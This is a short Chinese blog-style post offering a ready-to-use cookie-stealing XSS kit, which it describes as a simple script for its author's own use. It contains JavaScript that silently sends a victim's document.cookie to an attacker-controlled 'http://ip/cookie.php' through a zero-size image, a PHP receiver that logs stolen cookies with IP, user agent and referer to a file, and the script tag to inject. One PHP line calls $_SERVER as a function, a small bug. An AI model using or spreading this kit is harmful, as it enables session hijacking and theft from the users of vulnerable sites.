自用的打cookie简易js脚本
js代码
cookie.js代码如下:
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://ip/cookie.php?cookie='+encodeURIComponent(document.cookie);
php代码
cookie.php代码如下:
<?php
@ini_set('display_errors',1);
$cookie= $_GET['cookie'];
$ip = getenv('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$referer = getenv ('HTTP_REFERER');
$agent = $_SERVER('HTTP_USER_AGENT');
$handler = fopen('cookie.txt', 'a');
fwrite($handler," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n");
fclose($handler);
?>
使用
<script src="http://ip/cookie.js"></script>
如果加班只是玩手机、刷微博,那一定是煎熬。如果是坚持的修炼,那一定收益颇丰。